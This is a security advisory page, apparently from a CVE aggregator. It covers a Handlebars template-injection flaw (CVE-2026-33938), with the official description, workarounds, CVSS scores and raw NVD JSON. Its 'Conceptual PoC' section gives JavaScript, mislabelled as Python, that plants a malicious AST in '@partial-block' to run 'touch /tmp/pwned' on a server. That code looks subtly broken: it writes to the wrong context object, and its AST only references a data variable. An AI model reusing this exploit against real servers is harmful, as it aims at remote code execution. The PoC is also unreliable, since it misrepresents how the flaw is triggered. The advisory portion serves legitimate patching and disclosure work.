Security Vulnerability Report
中文
CVE-2026-33938 CVSS 8.1 HIGH

CVE-2026-33938

Published: 2026-03-27 21:17:28
Last Modified: 2026-03-31 20:16:28

Description

Handlebars provides the power necessary to let users build semantic templates. In versions 4.0.0 through 4.7.8, the `@partial-block` special variable is stored in the template data context and is reachable and mutable from within a template via helpers that accept arbitrary objects. When a helper overwrites `@partial-block` with a crafted Handlebars AST, a subsequent invocation of `{{> @partial-block}}` compiles and executes that AST, enabling arbitrary JavaScript execution on the server. Version 4.7.9 fixes the issue. Some workarounds are available. First, use the runtime-only build (`require('handlebars/runtime')`). The `compile()` method is absent, eliminating the vulnerable fallback path. Second, audit registered helpers for any that write arbitrary values to context objects. Helpers should treat context data as read-only. Third, avoid registering helpers from third-party packages (such as `handlebars-helpers`) in contexts where templates or context data can be influenced by untrusted input.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:handlebarsjs:handlebars:*:*:*:*:*:node.js:*:* - VULNERABLE
Handlebars >= 4.0.0, <= 4.7.8

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// Conceptual PoC for CVE-2026-33938 const Handlebars = require('handlebars'); // Register a helper that overwrites @partial-block Handlebars.registerHelper('evilHelper', function(context, options) { // Malicious AST payload to execute arbitrary code const maliciousAST = { type: 'Program', body: [ { type: 'MustacheStatement', path: { type: 'PathExpression', data: true, parts: ['exec'], original: 'exec' }, params: [{ type: 'StringLiteral', value: 'touch /tmp/pwned', original: '"touch /tmp/pwned"' }], loc: { start: { line: 1, column: 0 }, end: { line: 1, column: 20 } } } ] }; // Overwrite the @partial-block in the root context options.data.root['@partial-block'] = maliciousAST; }); // Template that triggers the vulnerability const source = ` {{evilHelper}} {{> @partial-block}} `; // Compile and execute the template try { const template = Handlebars.compile(source); const result = template({}); console.log(result); } catch (e) { console.error('Exploitation failed or code executed:', e); }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33938", "sourceIdentifier": "[email protected]", "published": "2026-03-27T21:17:27.587", "lastModified": "2026-03-31T20:16:27.767", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Handlebars provides the power necessary to let users build semantic templates. In versions 4.0.0 through 4.7.8, the `@partial-block` special variable is stored in the template data context and is reachable and mutable from within a template via helpers that accept arbitrary objects. When a helper overwrites `@partial-block` with a crafted Handlebars AST, a subsequent invocation of `{{> @partial-block}}` compiles and executes that AST, enabling arbitrary JavaScript execution on the server. Version 4.7.9 fixes the issue. Some workarounds are available. First, use the runtime-only build (`require('handlebars/runtime')`). The `compile()` method is absent, eliminating the vulnerable fallback path. Second, audit registered helpers for any that write arbitrary values to context objects. Helpers should treat context data as read-only. Third, avoid registering helpers from third-party packages (such as `handlebars-helpers`) in contexts where templates or context data can be influenced by untrusted input."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}, {"lang": "en", "value": "CWE-843"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:handlebarsjs:handlebars:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "4.0.0", "versionEndExcluding": "4.7.9", "matchCriteriaId": "A9D1F9A7-8359-4C3F-9932-4A085094F388"}]}]}], "references": [{"url": "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-3mfm-83xf-c92r", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-3mfm-83xf-c92r", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}